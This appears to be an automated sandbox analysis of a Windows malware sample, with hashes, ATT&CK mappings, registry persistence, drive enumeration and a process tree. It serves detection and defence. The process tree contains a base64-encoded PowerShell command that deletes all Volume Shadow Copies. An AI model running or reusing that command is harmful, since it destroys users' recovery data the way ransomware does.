0a471df64b677fd6608c72626444d22381f7fc20ea0165cc5b88fdad0402d32f

General

Target

329b7965_by_Libranalysis.exe
Size

182KB
MD5

329b796513db794d0548843d5e919a1e
SHA1

7979369952d9ed389bbbc598a3899db552994a1f
SHA256

0a471df64b677fd6608c72626444d22381f7fc20ea0165cc5b88fdad0402d32f
SHA512

fbc1b279712ed01758ae346bf9119e3d81dd705530d664f3888a811febf6a7833183aece36cdb2b3384bb24a59eaabce129649ee866ddf812ba9caaa57ef45e0

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

329b7965_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\329b7965_by_Libranalysis.exe"	329b7965_by_Libranalysis.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	329b7965_by_Libranalysis.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

329b7965_by_Libranalysis.exe

description	ioc	process
File opened (read-only)	\??\B:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\E:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\H:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\P:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\V:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\Y:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\Z:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\K:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\L:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\N:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\Q:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\T:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\W:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\X:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\A:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\F:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\J:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\R:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\S:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\U:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\G:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\I:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\M:	329b7965_by_Libranalysis.exe
File opened (read-only)	\??\O:	329b7965_by_Libranalysis.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

329b7965_by_Libranalysis.exepowershell.exe

pid process

1948 329b7965_by_Libranalysis.exe
292 powershell.exe
292 powershell.exe

pid	process
1948	329b7965_by_Libranalysis.exe
292	powershell.exe
292	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

329b7965_by_Libranalysis.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1948	329b7965_by_Libranalysis.exe
Token: SeDebugPrivilege	292	powershell.exe
Token: SeBackupPrivilege	1744	vssvc.exe
Token: SeRestorePrivilege	1744	vssvc.exe
Token: SeAuditPrivilege	1744	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

329b7965_by_Libranalysis.exe

description	pid	process	target process
PID 1948 wrote to memory of 292	1948	329b7965_by_Libranalysis.exe	powershell.exe
PID 1948 wrote to memory of 292	1948	329b7965_by_Libranalysis.exe	powershell.exe
PID 1948 wrote to memory of 292	1948	329b7965_by_Libranalysis.exe	powershell.exe
PID 1948 wrote to memory of 292	1948	329b7965_by_Libranalysis.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\329b7965_by_Libranalysis.exe
"C:\Users\Admin\AppData\Local\Temp\329b7965_by_Libranalysis.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:292

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1848

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1744

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/292-61-0x0000000000000000-mapping.dmp

Download
memory/292-62-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

Download
memory/292-63-0x0000000002020000-0x0000000002021000-memory.dmp

Filesize
4KB

Download
memory/292-64-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/292-65-0x000000001A930000-0x000000001A932000-memory.dmp

Filesize
8KB

Download
memory/292-66-0x000000001A934000-0x000000001A936000-memory.dmp

Filesize
8KB

Download
memory/292-67-0x0000000002060000-0x0000000002061000-memory.dmp

Filesize
4KB

Download
memory/292-68-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/292-69-0x000000001B740000-0x000000001B741000-memory.dmp

Filesize
4KB

Download
memory/1948-60-0x0000000075511000-0x0000000075513000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads